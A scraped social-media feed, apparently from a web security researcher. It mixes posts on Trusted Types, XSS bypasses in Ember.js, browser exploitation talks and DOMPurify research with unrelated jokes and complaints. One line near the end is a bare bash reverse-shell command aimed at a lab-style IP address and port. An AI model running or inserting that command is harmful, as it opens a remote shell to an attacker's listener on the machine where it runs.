Roman Shafigullin

✅︎ Trusted Types

There is no spoon

When adding one line of code takes months :D

Developers, tired of DOM XSS in your web applications? 😩 We were too. See how we refactored our code to solve Trusted Types violations in Gmail & AppSheet. Your guide to a safer web is here! bughunters.google.com/blog/585078655…

Previously I bypassed XSS protection in Ember.js using {"string":xss} making framework think that this is SafeString object groups.google.com/g/ember-securi…

How I bypassed XSS protection in Ember.js using bug in Chrome issues.chromium.org/issues/40085732

Full results and write-up: plasticlist.org We also have instructions for running your own tests!

Releasing full 2+hr video of my browser exploitation workshop from VXCON 2024: youtube.com/live/b9OhamkAY… In which I show what goes inside the mind of a skilled hacker while exploiting a highly non-trivial vulnerability in v8, from zero to exploit concept. Especially this workflow requires advanced abstract thinking, thereby emphasize the role of theoretical modeling in attacking hard zeroday research targets, which is a part of why it's fun. @zerodaytraining

We’re finally live! You can now watch “Listen to the whispers: web timing attacks that actually work” on YouTube: youtube.com/watch?v=zOPjz-…

I'm thrilled to finally share my research on HTML parsing and DOMPurify at @GreHack 2024 📜 The research article is available here: mizu.re/post/exploring… The slides are available here: slides.com/kevin-mizu/gre… 1/3

@audiblesupport @audible_com fyi, during login on ios when app asks for otp, if you go to messages and return you see error and start login from beginning, i had to get otp via call to not loose ficus on the app

Did you know about Strict Mode? 🤔 ✨ "use strict"; ✨ Strict Mode catches silent errors, making your code more predictable and easier to debug. It also improves performance and helps you write more secure JavaScript code. See how 👇 developer.mozilla.org/en-US/docs/Web…

The dedication and hard work has payed off: "for hundreds of complex web applications that are built on Google’s hardened and safe-by-design frameworks, we've averaged less than one XSS report per year in total" (see page 9 of the whitepaper).

@ericlaw I heard that before, bank design security to protect bank’s money, not people’s money

"There's no option to turn this off, again, because we're moving your money, not ours."

Days since @paypal has infuriated me: 0

@jaffathecake is it like pineapple on pizza?

I just asked for a whiskey and coke at a Scottish wedding and fuuuck I haven't felt hate like that since I was devrel for a large company

bash -i >& /dev/tcp/192.168.119.3/4444 0>&1

How Americans call acidic drink? Soda

🤦